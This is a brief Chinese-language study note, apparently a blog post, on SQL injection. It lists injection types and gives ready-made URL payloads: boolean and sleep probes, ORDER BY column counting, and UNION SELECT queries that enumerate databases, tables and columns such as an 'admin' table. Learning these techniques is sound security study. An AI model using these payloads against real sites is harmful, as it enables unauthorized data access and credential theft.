SQL注入的原理

sql注入种类:

1、联合注入

2、post注入、head注入

3、盲注

4、宽字节注入

5、access---Cookie注入

6、access---偏移注入

7、mysql注入---dns注入

8、mysql注入---反弹注入

9、Oracle注入---报错注入

 判断是否存在注入

1、and 1=1  数字型注入

2、and 1=2 条件不成立,页面显示异常

3、/?id=2-1

4、/?id=3-1

5、/?id=1 and sleep(5)

6、/? id=1 and 1=2 union select 1,2

7、联合查询:?id=1 and 1=2 union select 1,database()

可判断出是数字型注入

判断字段数

order by : 排序,用来判断字段数

union select 联合查询,用来查询自己想要得到的数据

database()可以判断数据库名称

判断显错位 

?id=1 order by 2

?id=1 and 1=2 union select 1,database()

查询数据库名:?id=1 and 1=2 union select 1,database()

猜询数据库:?id=1 and 1=2 union select 1,schema_name from information_schema.schemata limit 1,2

查询表名:/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() LIMIT 0,1

?id=1000 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'

查询列名:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

?id=1000 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin'

union select 1,2,3,4,5,6,7,8,9,10 from 132312

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值